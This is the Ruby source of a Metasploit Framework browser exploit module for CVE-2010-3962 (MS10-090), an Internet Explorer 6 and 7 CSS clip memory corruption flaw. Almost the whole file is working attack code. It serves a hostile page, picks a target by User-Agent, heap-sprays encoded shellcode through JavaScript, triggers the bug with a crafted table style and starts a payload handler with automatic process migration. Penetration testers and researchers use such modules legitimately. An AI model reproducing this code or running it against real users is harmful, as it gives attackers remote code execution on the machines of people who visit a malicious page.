##
# $Id: ms10_090_ie_css_clip.rb 11610 2011-01-20 19:30:59Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "7.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer CSS SetUserClip Memory Corruption',
'Description' => %q{
Thie module exploits a memory corruption vulnerability within Microsoft's
HTML engine (mshtml). When parsing an HTML page containing a specially
crafted CSS tag, memory corruption occurs that can lead arbitrary code
execution.
It seems like Microsoft code inadvertantly increments a vtable pointer to
point to an unaligned address within the vtable's function pointers. This
leads to the program counter being set to the address determined by the
address "[vtable+0x30+1]". The particular address depends on the exact
version of the mshtml library in use.
Since the address depends on the version of mshtml, some versions may not
be exploitable. Specifically, those ending up with a program counter value
within another module, in kernel space, or just not able to be reached with
various memory spraying techniques.
Also, since the address is not controllable, it is unlikely to be possible
to use ROP to bypass non-executable memory protections.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # discovered in the wild
'@yuange1975', # PoC posted to twitter
'Matteo Memelli', # exploit-db version
'jduck' # Metasploit module
],
'Version' => '$Revision: 11610 $',
'References' =>
[
[ 'CVE', '2010-3962' ],
[ 'OSVDB', '68987' ],
[ 'BID', '44536' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2458511.mspx' ],
[ 'URL', 'http://www.exploit-db.com/exploits/15421/' ],
[ 'MSB', 'MS10-090' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
#
# Special target, we put it first so its index doesn't change.
#
[ 'Debug',
{
'Ret' => 0x00010101, # tiny spray, sure to crash :)
}
],
#
# In the targets below, 'Ret' means where EIP ends up (not under our control)
#
[ 'Internet Explorer 6',
{
'Ret' => 0x5c7dc9d0, # mshtml.dll 6.0.2900.3698 @ ?
#'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000
#'Ret' => 0x0e7dc9cd, # mshtml.dll 6.0.2900.6036 @ 0x7dc30000
}
],
[ 'Internet Explorer 7',
{
'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000
}
],
#
# Although IE8 is affected, we don't currently have a working target for it.
#
=begin
[ 'Internet Explorer 8 on Windows 7',
{
#'Ret' => 0x396392db, # mshtml.dll 8.0.7600.16671 @ 0x62f90000
'Ret' => 0x39696cd8, # mshtml.dll 8.0.7600.16671 @ 0x694e0000
#'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000
}
]
=end
],
'DisclosureDate' => 'Nov 3 2010',
'DefaultTarget' => 0))
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent =~ /MSIE 6\.0/
mytarget = targets[2] # IE6 on NT, 2000, XP and 2003
elsif agent =~ /MSIE 7\.0/
mytarget = targets[3] # IE7 on XP and 2003
=begin
elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/
mytarget = targets[4] # IE8 on Windows 7
=end
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
mytarget
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
# Set the return\nops
ret = Rex::Text.to_unescape(make_nops(4))
# Construct the javascript
js = <<-EOS
var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
var index;
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
var retSlide = unescape("#{ret}");
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; }
}
var shellcode = unescape("#{shellcode}");
sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38));
document.write("<table style=position:absolute;clip:rect(0)>");
EOS
opts = {
'Symbols' => {
'Variables' => %w{ shellcode retSlide payLoadSize memory index
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
heapBlockCnt },
'Methods' => %w{ sprayHeap }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
#js.obfuscate()
# Construct the final page
html = <<-EOS
<html>
<body>
<script language='javascript'>
#{js}
</script>
</body>
</html>
EOS
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end
